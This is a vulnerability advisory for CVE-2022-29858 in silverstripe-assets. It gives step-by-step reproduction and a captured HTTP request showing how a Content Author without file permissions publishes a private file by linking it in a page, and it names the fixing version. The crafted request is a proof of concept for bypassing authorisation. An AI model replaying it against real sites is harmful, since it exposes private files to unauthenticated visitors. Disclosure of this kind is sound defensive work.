Disclosed vulnerabilities
CVE-2022-29858 Published: Sep 12, 2022

Cross-Site Scripting in silverstripe/silverstripe-assets

4.3 Medium Severity cross packagist php scripting site XSS
@ranjit-git Reported by Checkmarx Zero

Summary

Cross-Site Scripting in silverstripe/silverstripe-assets.

Product

silverstripe/silverstripe-assets through 1.10.0

Impact

Unprivileged user can publish a private file when he does not have permission in files .

Steps to reproduce

  1. From admin account add a new user called user-B as content Authors .
    Now give user-B permission in page section only .Dont give files permission .
    So, user-B should not access files .

  2. Now from admin account goto http://localhost/silverstripe/admin/assets/ and upload a file . dont publish this file .
    user-B should not access this file .
    lets the file id is 23 .

  3. Now goto user-B account and edit any page and attach a file to this page and publish that page .
    Here bellow request is sent to server

Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Pjax: CurrentForm,Breadcrumbs
X-Requested-With: XMLHttpRequest
Content-Length: 1925
Origin: http://193.37.215.120
Connection: close
Referer: http://localhost/silverstripe/admin/pages/edit/show/7
Cookie: 

Title=admin-pageNew+Page&URLSegment=admin-pagenew-page&MenuTitle=admin-pageNew+Page&Content=<p><a href="[file_link,id=23]">sd</a><a>mjkhkh</a></p><p>&MetaDescription=&ExtraMeta=&ClassName=Page&ParentID=0&SecurityID=2a6bce172bfb6110234a0460ffecd38ba1bf0ec3&ID=7&AbsoluteLink=http%3A%2F%2Flocalhost%2Fsilverstripe%2Fadmin-pagenew-page%2F&LiveLink=http%3A%2F%2Flocalhost%2Fsilverstripe%2Fadmin-pagenew-page%2F%3Fstage%3DLive&StageLink=http%3A%2F%2F193.37.215.120%2Fsilverstripe%2Fadmin-pagenew-page%2F%3Fstage%3DStage&ArchiveWarningMessage=Warning%3A+This+page+and+all+of+its+child+pages+will+be+unpublished+before+being+sent+to+the+archive.%5Cn%5CnAre+you+sure+you+want+to+proceed%3F&TreeTitle=%3Cspan+class%3D%22jstree-pageicon+page-icon+font-icon-page+class-Page%22%3E%3C%2Fspan%3E%3Cspan+class%3D%22item%22+data-allowedchildren%3D%22%5B%7B%26quot%3BClassName%26quot%3B%3A%26quot%3BPage%26quot%3B%2C%26quot%3BTitle%26quot%3B%3A%26quot%3BPage%26quot%3B%2C%26quot%3BIconClass%26quot%3B%3A%26quot%3Bfont-icon-page%26quot%3B%7D%2C%7B%26quot%3BClassName%26quot%3B%3A%26quot%3BSilverStripe%5C%5CErrorPage%5C%5CErrorPage%26quot%3B%2C%26quot%3BTitle%26quot%3B%3A%26quot%3BError+Page%26quot%3B%2C%26quot%3BIconClass%26quot%3B%3A%26quot%3Bfont-icon-p-error%26quot%3B%7D%2C%7B%26quot%3BClassName%26quot%3B%3A%26quot%3BSilverStripe%5C%5CCMS%5C%5CModel%5C%5CRedirectorPage%26quot%3B%2C%26quot%3BTitle%26quot%3B%3A%26quot%3BRedirector+Page%26quot%3B%2C%26quot%3BIconClass%26quot%3B%3A%26quot%3Bfont-icon-p-redirect%26quot%3B%7D%2C%7B%26quot%3BClassName%26quot%3B%3A%26quot%3BSilverStripe%5C%5CCMS%5C%5CModel%5C%5CVirtualPage%26quot%3B%2C%26quot%3BTitle%26quot%3B%3A%26quot%3BVirtual+Page%26quot%3B%2C%26quot%3BIconClass%26quot%3B%3A%26quot%3Bfont-icon-p-virtual%26quot%3B%7D%5D%22%3Eadmin-pageNew+Page%3C%2Fspan%3E&Action=split&action_publish=1&BackURL=http%3A%2F%2Flocalhost%2Fsilverstripe%2Fadmin%2Fpages%2Fedit%2Fshow%2F7

Here in this request just check the Content parameter value <p><a href="[file_link,id=23]">sd</a><a>mjkhkh</a></p><p> . Here user-B attached a file which id is 23 .
After publish the page , above file is also published by user-B .
As user-B dont have permission in files section but still can publish that file using above request by attaching file to a page .

Expected result:

Now any external unauthenticated user visit above page will see the file link and can download the file using url like https://localhost/silverstripe/assets/extention_brute.txt .
So, user-B can publish a file even when he does not have permission in files.

Remediation

Update silverstripe/silverstripe-assets to version 1.10.1.

Credit

This issue was reported by @ranjit-git through huntr.dev.

Resources

  1. 74a96e8
  2. Disclosure
  3. Advisory

Stay connected and never miss a research update!